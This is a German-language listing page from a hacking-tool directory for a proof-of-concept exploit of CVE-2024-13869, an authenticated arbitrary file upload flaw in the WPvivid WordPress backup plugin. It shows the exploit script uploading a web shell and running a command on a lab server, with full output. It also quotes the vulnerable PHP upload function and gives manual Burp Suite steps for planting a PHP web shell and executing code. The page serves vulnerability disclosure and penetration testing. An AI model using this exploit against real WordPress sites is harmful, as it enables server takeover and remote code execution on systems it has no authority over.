Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-13869 — Migration,Backup, Staging – WPvivid <= 0.9.112 - Authentifizierter (Admin+) Upload beliebiger Dateien über wpvivid_upload_file | Kitploit
Tools/GitHubGitHub/d0n601/cve-2024-13869
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2024-13869

CVE-2024-13869

Migration,Backup, Staging – WPvivid <= 0.9.112 - Authentifizierter (Admin+) Upload beliebiger Dateien über wpvivid_upload_file

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-13869

Migration,Backup, Staging – WPvivid <= 0.9.112 - Authentifizierter (Admin+) beliebiger Datei-Upload über wpvivid_upload_file

Das wpvivid-backuprestore Plugin bereinigt die Dateitypen der wpvivid_upload_file-Aktion nicht, sodass Administratoren oder höher beliebige Dateien hochladen und möglicherweise Codeausführung auf dem Server erlangen können.

TL;DR Exploits

  • Es wird ein POC CVE-2024-13869.py bereitgestellt, um zu demonstrieren, wie ein Administrator eine Web-Shell namens hack.php hochlädt.
root@kitploit:~
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 46962sec preferred_lft 46962sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86190sec preferred_lft 14190sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

Es scheint, dass die Aktion wpvivid_upload_file die Funktion upload_files in Zeile 293 von /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php aufruft, die die Nonce und die Benutzerberechtigungen prüft, aber nicht den Dateityp, der auf den Server hochgeladen wird.

root@kitploit:~
    function upload_files()
    {
        check_ajax_referer( 'wpvivid_ajax', 'nonce' );
        $check=current_user_can('manage_options');
        $check=apply_filters('wpvivid_ajax_check_security',$check);
        if(!$check)
        {
            die();
        }

        try
        {
            $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
            $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;

            $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];

            $backupdir=WPvivid_Setting::get_backupdir();
            $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;

            $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

            if ($out)
            {
                // Read binary input stream and append it to temp file
                $options['test_form'] =true;
                $options['action'] ='wpvivid_upload_files';
                $options['test_type'] = false;
                $options['ext'] = 'zip';
                $options['type'] = 'application/zip';

                add_filter('upload_dir', array($this, 'upload_dir'));

                $status = wp_handle_upload($_FILES['async-upload'],$options);

                remove_filter('upload_dir', array($this, 'upload_dir'));

                $in = @fopen($status['file'], "rb");

                if ($in)
                {
                    while ($buff = fread($in, 4096))
                        fwrite($out, $buff);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                    die();
                }

                @fclose($in);
                @fclose($out);

                @wp_delete_file($status['file']);
            }
            else
            {
                echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                die();
            }

            if (!$chunks || $chunk == $chunks - 1)
            {
                // Strip the temp .part suffix off
                rename("{$filePath}.part", $filePath);
            }

            echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
        }
        catch (Exception $error)
        {
            $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
            error_log($message);
            echo wp_json_encode(array('result'=>'failed','error'=>$message));
        }
        die();
    }

Manuelle Reproduktion

  1. Melden Sie sich im Admin-Panel an und navigieren Sie zum Tab WPvivid Backup.
  2. Klicken Sie unter Backup & Restore auf die Schaltfläche Backup Now, um ein neues Backup zu erstellen und es herunterzuladen, damit wir die .zip-Datei in den folgenden Schritten verwenden können.
  3. Navigieren Sie erneut im Bereich Backup & Restore zum Tab Upload und wählen Sie die soeben erstellte .zip-Datei aus. pre_upload
  4. Starten Sie Burp Suite oder ein ähnliches Tool und beginnen Sie, den Datenverkehr abzufangen.
  5. Klicken Sie auf Upload und fangen Sie die POST-Anfrage an /wp-admin/admin-ajax.php ab, die die Aktion wpvivid_upload_files aufruft. intercept_call
Tool herunterladen
  • Ändern Sie die Anfrage so, dass sie eine beliebige Datei enthält; im folgenden Beispiel laden wir eine PHP-Web-Shell hoch. modify
  • Senden Sie die Anfrage und empfangen Sie {"result":"success"}. sent_modified
  • Rufen Sie die Web-Shell unter https://example.com/wp-content/wpvividbackups/webshell.php auf und führen Sie Code aus. hitshell